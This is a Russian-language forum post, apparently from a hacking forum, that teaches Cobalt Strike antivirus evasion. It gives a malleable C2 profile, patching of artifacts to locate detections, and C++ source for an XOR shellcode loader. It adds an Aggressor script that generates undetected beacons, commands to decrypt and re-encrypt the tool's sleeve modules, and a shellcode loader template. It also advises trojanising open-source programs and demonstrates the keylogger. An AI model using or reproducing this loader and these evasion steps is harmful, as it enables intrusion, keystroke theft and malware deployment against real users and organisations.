Cobalt Strike от А до Я (3 часть.)

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
Вообще существует в проекте 3+ статьи, но в конкурсе будет участвовать одна, а именно 3 статья.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.

Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.

Код:
stage {
    set allocator           "HeapAlloc";    
    set name                "winrar.dll";
    set module_x86          "mshtml.dll";
    set checksum            "0";
    set entry_point         "180000";
    set image_size_x86      "5977600";
    set userwx                 "false";
    set cleanup                "true";
    set stomppe                "true";
    set obfuscate            "true";
    set rich_header         "";
    
    set sleep_mask          "true";
    set smartinject         "true";

    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "getIndex"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
}

Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:

a86332d4d33eb9a1e1aa0.png


Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...

663f2ad35fb1ceb24cd31.png


Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:

Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.

Или, например, sleep_mask:

Obfuscate Beacon, in-memory, prior to sleeping

Но на практике банальное сканирование памяти, сводит на нет реализацию данных опций в профиле.

ВАЖНО: стоит также отметить, что сейчас антивирусы имеют на борту сканеры памяти, которые не нужно вручную запускать, они все сами сделают и предотвратят угрозу даже не спрашивая юзера.

Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.

ВАЖНО: многие, не понимая истиной причины детектов антивирусами начинают винить крипт, но как видим на практике крипт здесь позволил зловреду запуститься без проблем, но так как сам маяк(beacon) не чистится автором CobaltStrike мы имеем в результате плачевный результат.

Стоит также отметить, что это не единичная проблема, я также некоторые проблемы затрагиваю в первой и во второй статьях. (в частности, атаки на командный сервер...)

Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:

4d86b2a09e0a75d86832f.png


У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:

Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     E8 09FBFFFF             CALL 004027F0
00402CE7     C70424 00000000         MOV DWORD PTR SS:[ESP],0
00402CEE     E8 4DEBFFFF             CALL 00401840
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9

Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:

Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     90                      NOP
00402CE3     90                      NOP
00402CE4     90                      NOP
00402CE5     90                      NOP
00402CE6     90                      NOP
00402CE7     90                      NOP
00402CE8     90                      NOP
00402CE9     90                      NOP
00402CEA     90                      NOP
00402CEB     90                      NOP
00402CEC     90                      NOP
00402CED     90                      NOP
00402CEE     90                      NOP
00402CEF     90                      NOP
00402CF0     90                      NOP
00402CF1     90                      NOP
00402CF2     90                      NOP
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9

Таким образом артефакт будет находиться в памяти в вечном цикле, и при этом у нас не отработает код payload
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.

Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.

ВАЖНО: стоит отметить, что после такой чистки нам даже не нужен будет мегаприватный крипт, а мы ведь знаем, что, когда нужен срочно такой крипт... его как обычно хрен найдешь - ЗАКОН ПОДЛОСТИ. А также будет экономия денег на крипте.

В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):

Код:
set EXECUTABLE_ARTIFACT_GENERATOR {
}

Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/aggressor-script/hooks.html
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.

Код:
#include <Windows.h>

#define DATA_SIZE 0x46000

#pragma pack(1)
typedef struct DATA {
    BYTE XKEY;
    DWORD size;
    BYTE payload[0];
} DATA, *PDATA;
#pragma pack()

typedef void(__cdecl *START)();

#pragma comment(linker, "/entry:EntryPoint")

#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#pragma data_seg()

int __cdecl EntryPoint()
{
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    PDATA pdata = (PDATA)&data[0];
    BYTE XKEY = pdata->XKEY;
    DWORD size = pdata->size;
    for(DWORD i = 0; i < size; i++)
    {
        buffer[i] = pdata->payload[i]^XKEY;
    }

    START start = (START)buffer;
    start();

    return 0;
}

Теперь нужно пояснить некоторые моменты в этом коде.
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.

ВАЖНО: хотелось бы сказать, что это всего лишь пример, как можно сделать, и так как этот код попал в паблик, естественно он будет уже детектиться!
Но этот код всегда можно модифицировать или использовать другой компилятор, ну например, delphi я бы его и посоветовал, так как там можно такие вещи сотворить, что антивирусы не смогут угнаться за сгенерированными рандомными сэмплами.
Все зависит только от вас и вашей фантазии.
для примера, воспринимайте это как совет: можно зайти, ну например, на github.com (или на другой подобный сайт sourceforge.net их в сети много) и попробовать поискать исходники какой-нибудь маленькой популярной программы, там обычно еще в придачу будет написано как скомпилить эту софтину, так вот берете и вставляете в нее этот код что выше, меняете где-нибудь вначале от точки входа, на код чтобы был запуск в отдельном потоке кода стаба и все, даже ничего не нужно придумывать, все за нас уже давно сделали... и пусть потом (заслуженные ветераны труда) антивирусные специалисты добавляют этот софт в свои базы антивирусов, чтобы у них были постоянные ложные детекты и жалобы от их недовольных пользователей. Нам на наш век опенсорса хватит.

Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:

Код:
# Arguments
#     $1 = artifact file (e.g., artifact32.exe)
#     $2 = shellcode
# Return 
#    our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$handle $stub $key $index $payload $resname $buffer $edata $x');
    ($resname, $payload) = @_;

    # read in the executable template
    $handle = openf("C:\\CS43\\resources\\Stub.x86.exe");
    $stub = readb($handle, -1);
    closef($handle);
    
    # generate a random key
    $key = @();
    $key[0] = int(rand() * 253) + 1;
    
    # pack data into a buffer 
    $buffer = allocate(1024);

    # [xor key] - 1 byte
    writeb($buffer, chr($key[0]));

    # [length of payload] - 4 bytes
    writeb($buffer, pack("i-", strlen($payload)));

    # find the location of our data in the executable
    $index = indexOf($stub, 'A' x 1024);
    
    # pack our encoded payload into the buffer
    for ($x = 0; $x < strlen($payload); $x++) {
        writeb($buffer, chr((byteAt($payload, $x) ^ $key[0]) & 0xFF ));
    }
    
    # retrieve the contents of the buffer.
    closef($buffer);
    $edata = readb($buffer, -1);

    # return our encoded shellcode.
    return replaceAt($stub, $edata, $index);
}

Просьба не пугаться - это модифицированный скрипт из стандартного пакета скриптов Artifact Kit (Perl он и в Африке Perl пусть даже и называется Sleep) и этот код скрипта специально адаптирован под код нового стаба.
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать... :)

======================================================================================

Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.

Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.

ВАЖНО: Разные антивирусы реагируют по-разному на различные модули CobaltStrike'а, все зависит от обстоятельств и различных нюансов... (а вообще детект детекту рознь, сегодня на радаре антивирусов ничего нет, а уже через час или два какой-нибудь модуль CobaltStrike'а может светиться детектами как новогодняя елка.)

И здесь я хочу пояснить на маленьком примере, как происходить будет подобный детект...
Для примера, давайте посмотрим на скриншот ниже:

b2d184f2820c54f93c82c.png


Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:

c77e57db2027b6bc005a3.png


Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o

Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:

Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc.

Нам предоставляют возможность сделать выбор. Но в реале, это указывает CobaltStrike взять файл *.o из ресурсов, а именно из директории sleeve файл BeaconLoader.HA.x86.o (если мы указали значение HeapAlloc для allocator в нашем профиле)
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.

Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код расшифровки написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
Стоит лишь указать команду как запускать данную утилиту, для расшифровки файлов *.o и *.dll из директории sleeve в cobaltstrike.jar

Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./SleeveUtil.jar Decrypt C:\CS43\sleeve\keylogger.dll
pause

Хотелось бы отметить тот факт, что если мы допустим решили подменить BeaconLoader.HA.x86.o, то нужно понимать, что здесь есть ограничения в размере самого кода и он не должен превышать 5kb - хотя этого вполне достаточно, чтобы реализовать очень многое, да и даже, если этого не хватит, то можно воспользоваться функцией сжатия aPLib, которая настолько в размере мала, что можно считать что ее нет вообще, а сжимает код настолько хорошо, что даже лучше всех остальных алгоритмов сжатия, к примеру, того же UPX...
Как расшифровать мы уже знаем, но как же зашифровать обратно наши созданные, модифицированные или почищенные файлы?

Теперь мы подошли к утилитам, которые имеются на борту в cobaltstrike.jar
Наверное, многие уже знакомы с таким инструментом, как c2lint и который можно запустить из батника:

Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar c2profile.Lint "C:\c2.profile"

Таким образом мы можем проверить наш профиль на наличие примитивных ошибок.
В CobaltStrike существует еще (из многочисленных) один инструмент SleeveUtil
Вот эта утилита и позволит нам зашифровать нужные файлы.
Но SleeveUtil имеет специфичный формат использования, который отличается от обычного привычного нам, ну например, того же c2profile.Lint
Дело в том, что для того чтобы зашифровать файлы *.o и *.dll нужен специальный ключ, он находится в зашифрованном файле cobaltstrike.auth - более подробно я о нем писал в предыдущих статьях.
Но это еще не все, этот ключ в определенном формате должен находится в специальном файле resourcekey.bin в одной директории с cobaltstrike.jar
resourcekey.bin с нужным ключом от версии Cobalt Strike v4.3 я добавил в архив, который можно будет скачать ниже.
После того как мы разместим этот файл в одной директории с cobaltstrike.jar можно будет приступить к шифрованию *.o и *.dll файлов.
Еще одним важным условием является то, что файлы *.o и *.dll должны находится в директории resources, которую нужно создать в директории, где находится cobaltstrike.jar и уже в resources разместить нужные файлы для шифрования.
Теперь после всех этих манипуляций можно запустить утилиту шифрования из батника:

Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar common.SleeveUtil
pause

В результате будет создана директория bin, а в ней директория sleeve и вот в этой директории и будут находится годные зашифрованные файлы.
Но это еще не все, для того чтобы CobaltStrike их начал использовать, их нужно разместить в директории sleeve, которая должна также находиться в одной директории с cobaltstrike.jar
Теперь мы умеем шифровать и расшифровывать файлы *.o и *.dll
Ну хорошо, если с *.dll файлами все понятно их надо расшифровать, почистить от детектов и обратно зашифровать и все, но вот с *.o файлами дела обстоят куда сложнее.
Я хочу более подробно описать некоторые нюансы касательно файлов *.o
Просто так взять написать код в cpp файле и скомпилировать не получится, скорее все на выходе получится "неправильный" *.o(obj) с точки зрения CobaltStrike'а
Для примера, после запуска CobaltStrike'а в консоли может появиться предупреждение типа такого: Assertion failed: 1024 <= 10 (value) <= 5120 does not hold
CobaltStrike сообщает, что секция кода меньше требуемой она равна 10 байтам, а требуется минимум 1024.
Все дело в том, что компилятор создает в obj файле несколько секций кода, а парсер CobaltStrike'а берет первую, а там может быть код какой-нибудь инлайн функции размером в 10 байт.
Далее ниже я покажу как правильно создавать нужный код, но, а сейчас давайте воспользуемся утилитой OBJExecutable из cobaltstrike.jar
С помощью этой утилиты можно посмотреть данные из файлов с расширением *.o или *.obj
Вообще это некий парсер obj файлов, но он также проверяет эти самые obj файлы на валидность
Запустив эту утилиту с помощью батника:

Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar pe.OBJExecutable C:\BeaconLoader.HA.x86.obj
pause

На выходе мы получим в консоли дамп данных, где можно увидеть некоторые значения, которые могут понадобиться при определенных обстоятельствах.
Для примера, давайте посмотрим на эти данные:

Код:
.text$mn$3.Characteristics         [Code, Executable, Readable, 0x60501020]
.text$mn$3.NumberOfLinenumbers     0x0         0
.text$mn$3.NumberOfRelocations     0x0         0
.text$mn$3.PointerToLinenumbers    0x0         0
.text$mn$3.PointerToRawData        0x53e       1342
.text$mn$3.PointerToRelocations    0x0         0
.text$mn$3.SizeOfRawData           0xa         10
.text$mn$3.VirtualAddress          0x0         0
.text$mn$3.VirtualSize             0x0         0
.text$mn.Characteristics           [Code, Executable, Readable, 0x60500020]
.text$mn.NumberOfLinenumbers       0x0         0
.text$mn.NumberOfRelocations       0x5         5
.text$mn.PointerToLinenumbers      0x0         0
.text$mn.PointerToRawData          0x1d3       467
.text$mn.PointerToRelocations      0x50c       1292
.text$mn.SizeOfRawData             0x339       825
.text$mn.VirtualAddress            0x0         0
.text$mn.VirtualSize               0x0         0

Нас интересует значения .text$mn$3.SizeOfRawData 0xa 10 - мы видим размер этой секции кода равен 10 байтам.
Если посмотреть ниже, то можно заметить другую секцию кода .text$mn.SizeOfRawData 0x339 825 - но уже с другим размером секции кода.
А нам требуется минимум секция кода 1024 байта.
Теперь давайте взглянем на правильный шаблон кода (в этом примере кода, убрано все лишнее для наглядности), и разберем некоторые важные моменты:

Код:
#pragma comment(linker, "/entry:EntryPoint")
int __cdecl EntryPoint();
void __cdecl start() {
    EntryPoint();
}

#include "Header.hpp"
HMODULE GetDllBaseByHash(DWORD Hash);
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash);

int __cdecl EntryPoint()
{
    char szWinExec[] = {'W','i','n','E','x','e','c', 0};
    char szSleep[] = {'S','l','e','e','p', 0};
    char szNotepad[] = {'n','o','t','e','p','a','d','.','e','x','e', 0};

    HMODULE hKernel32 = GetDllBaseByHash(HASH_KERNEL32);
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetProcAddressByHash(hKernel32, HASH_GETPROCADDRESS);
    pWinExec WinExec = (pWinExec)GetProcAddress(hKernel32, szWinExec);
    pSleep Sleep = (pSleep)GetProcAddress(hKernel32, szSleep);

    WinExec(szNotepad, SW_NORMAL);
    while(true) { Sleep(1000); }

    int pump[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };
    return pump[0];
}

HMODULE GetDllBaseByHash(DWORD Hash) { . . . }
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash) { . . . }

Первое, что хотелось бы отметить, чтобы добавить лишние байты в секцию кода (если вдруг секция кода окажется меньше чем 1024 байта), можно воспользоваться инициализацией данных в стеке, а именно int pump[] = { 0,0,... }; - добавляете нужное количество нулей и все.
Второе, ваш код (а точнее шелкод) должен быть независимым от чего-либо (вернее от всего), то есть, нужно "ручками" находить указатели на API функции и только после этого их использовать, а данные размещать непосредственно в секции кода...
Третье и самое важное стартовать ваш код должен с начала секции. Я специально показал как этого можно достичь при помощи функции void __cdecl start() {EntryPoint();} - эта функция должна быть обязательно первой даже выше всех заголовочных файлов.
А реализация всех остальных функций должна находиться ниже функции, которая определяется в директиве /entry:
После того как скомпилируется исходный код, obj можно будет найти в директории Release, если допустим компиляция осуществлялась в Visual Studio 20XX
Если все правильно сделали, то можно будет шифровать этот obj и использовать по прямому назначению.

Скачать: vk.cc/c3GMQU
Автор: DarthVader
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.